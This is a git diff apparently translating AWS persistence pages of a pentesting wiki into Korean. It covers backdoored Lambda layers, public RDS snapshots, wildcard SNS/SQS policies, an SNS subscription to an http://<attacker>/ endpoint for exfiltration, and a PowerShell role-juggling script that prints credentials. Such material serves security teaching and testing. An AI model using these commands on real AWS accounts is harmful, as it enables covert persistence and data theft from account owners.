- 사용자의 기존 레이어에 백도어를 설치합니다 (외부는 없습니다)
|
||||
- **자신의 계정에** **레이어**를 **생성**하고, **희생자 계정에 레이어 사용 권한을 부여**하고, **희생자의 Lambda에 레이어를 구성**한 후 **권한을 제거**합니다.
|
||||
- **Lambda**는 여전히 **레이어를 사용할 수 있으며** **희생자는** **레이어 코드를 다운로드할 수 있는 쉬운 방법이 없습니다** (람다 내부에서 rev shell을 얻는 것을 제외하고)
|
||||
- 희생자는 **`aws lambda list-layers`**를 사용하여 **외부 레이어를 볼 수 없습니다**.
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
# Remove permissions
|
||||
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,34 +4,30 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
### 인스턴스 SSH 키 및 DB 비밀번호 다운로드
|
||||
|
||||
They won't be changed probably so just having them is a good option for persistence
|
||||
비밀번호는 아마 변경되지 않을 것이므로, 이를 보유하는 것이 지속성을 위한 좋은 옵션입니다.
|
||||
|
||||
### Backdoor Instances
|
||||
### 백도어 인스턴스
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key**
|
||||
- Expose a port with port knocking with a backdoor
|
||||
- 전통적인 **rootkit** 사용 예
|
||||
- 새로운 **공개 SSH 키** 추가
|
||||
- 백도어와 함께 포트 노킹으로 포트 노출
|
||||
|
||||
### DNS persistence
|
||||
### DNS 지속성
|
||||
|
||||
If domains are configured:
|
||||
도메인이 구성된 경우:
|
||||
|
||||
- Create a subdomain pointing your IP so you will have a **subdomain takeover**
|
||||
- Create **SPF** record allowing you to send **emails** from the domain
|
||||
- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
|
||||
- IP를 가리키는 서브도메인 생성하여 **서브도메인 탈취**를 수행
|
||||
- 도메인에서 **이메일**을 보낼 수 있도록 **SPF** 레코드 생성
|
||||
- **주 도메인 IP를 자신의 IP로 설정**하고, 자신의 IP에서 합법적인 IP로 **MitM** 수행
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,32 +4,24 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Make instance publicly accessible: `rds:ModifyDBInstance`
|
||||
|
||||
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
|
||||
### 인스턴스를 공개적으로 접근 가능하게 만들기: `rds:ModifyDBInstance`
|
||||
|
||||
이 권한을 가진 공격자는 **기존 RDS 인스턴스를 수정하여 공개 접근성을 활성화할 수 있습니다**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### DB 내에 관리자 사용자 생성
|
||||
|
||||
### Create an admin user inside the DB
|
||||
|
||||
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
|
||||
|
||||
### Make snapshot public
|
||||
공격자는 **DB 내에 사용자를 생성**할 수 있으므로 마스터 사용자 비밀번호가 수정되더라도 **데이터베이스에 대한 접근을 잃지 않습니다**.
|
||||
|
||||
### 스냅샷 공개 설정
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,22 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
### KMS 클라이언트 측 암호화
|
||||
|
||||
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
|
||||
암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화된 키를 파일의 메타데이터에 저장**합니다 ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
|
||||
따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 만약 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다.
|
||||
|
||||
### Using S3 ACLs
|
||||
### S3 ACL 사용하기
|
||||
|
||||
Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
|
||||
일반적으로 버킷의 ACL은 비활성화되어 있지만, 충분한 권한을 가진 공격자는 이를 남용할 수 있습니다(활성화된 경우 또는 공격자가 이를 활성화할 수 있는 경우) S3 버킷에 대한 접근을 유지하기 위해.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+22
-28
@@ -4,54 +4,48 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
### 리소스 정책을 통한 접근
|
||||
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 자세한 내용은 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
### Secrets Rotate Lambda를 통한 접근
|
||||
|
||||
To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
비밀을 자동으로 **회전**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면, 그는 직접 **새 비밀을 자신에게 유출**할 수 있습니다.
|
||||
|
||||
이런 행동을 위한 Lambda 코드의 예시는 다음과 같을 수 있습니다:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,74 +12,66 @@ For more information check:
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
**SNS 주제**를 생성할 때 **누가 읽고 쓸 수 있는지** IAM 정책으로 지정해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\
|
||||
다음 정책은 AWS의 모든 사용자에게 **`MySNS.fifo`**라는 SNS 주제에서 읽고 쓸 수 있는 권한을 부여합니다:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### 구독자 생성
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
모든 주제에서 모든 메시지를 계속해서 유출하기 위해 공격자는 **모든 주제에 대한 구독자를 생성할 수 있습니다**.
|
||||
|
||||
**주제가 FIFO 유형**인 경우, **SQS** 프로토콜을 사용하는 구독자만 사용할 수 있습니다.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using resource policy
|
||||
|
||||
In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
|
||||
### 리소스 정책 사용
|
||||
|
||||
SQS에서는 IAM 정책으로 **누가 읽고 쓸 수 있는지** 명시해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\
|
||||
다음 정책은 AWS의 모든 사용자에게 **MyTestQueue**라는 큐의 모든 항목에 대한 접근을 허용합니다:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (어떻게든 다시 추가해야 합니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,14 +12,10 @@ For more information check:
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
|
||||
스텝 함수를 백도어하여 지속성 트릭을 수행하게 하여 매번 실행될 때마다 악성 단계를 실행하도록 합니다.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
|
||||
AWS 계정이 스텝 함수를 호출하기 위해 별칭을 사용하는 경우, 별칭을 수정하여 새로운 백도어 버전의 스텝 함수를 사용할 수 있습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information access:
|
||||
자세한 정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
@@ -12,54 +12,51 @@ For more information access:
|
||||
|
||||
### Assume role token
|
||||
|
||||
Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
|
||||
임시 토큰은 나열할 수 없으므로, 활성 임시 토큰을 유지하는 것이 지속성을 유지하는 방법입니다.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# With MFA
|
||||
# MFA 사용 시
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호, 예: GAHT12345678
|
||||
<strong># SMS 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># 가상 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
|
||||
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
[**역할 체이닝은 인정된 AWS 기능입니다**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **역할을 가정한 후 다른 역할을 가정하는** 능력을 포함하며, **순환 방식으로** 초기 역할로 되돌아갈 수 있습니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 새로 고쳐집니다. 따라서 두 역할이 서로를 상호 가정하도록 구성되면, 이 설정은 자격 증명의 지속적인 갱신을 허용합니다.
|
||||
|
||||
이 [**도구**](https://github.com/hotnops/AWSRoleJuggler/)를 사용하여 역할 체이닝을 계속할 수 있습니다:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
|
||||
> 해당 GitHub 리포지토리의 [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 역할 체인이 구성될 수 있는 모든 방법을 찾지 못합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code to perform Role Juggling from PowerShell</summary>
|
||||
|
||||
<summary>PowerShell에서 역할 조작을 수행하는 코드</summary>
|
||||
```powershell
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
}
|
||||
|
||||
# Function to list IAM roles
|
||||
function List-IAMRoles {
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
}
|
||||
|
||||
# Initialize error count
|
||||
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
|
||||
|
||||
# Attempt to assume each role
|
||||
foreach ($role in $roles) {
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
|
||||
# Output the number of errors if any
|
||||
if ($errorCount -gt 0) {
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
} else {
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
}
|
||||
|
||||
Write-Host "Role juggling check complete."
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user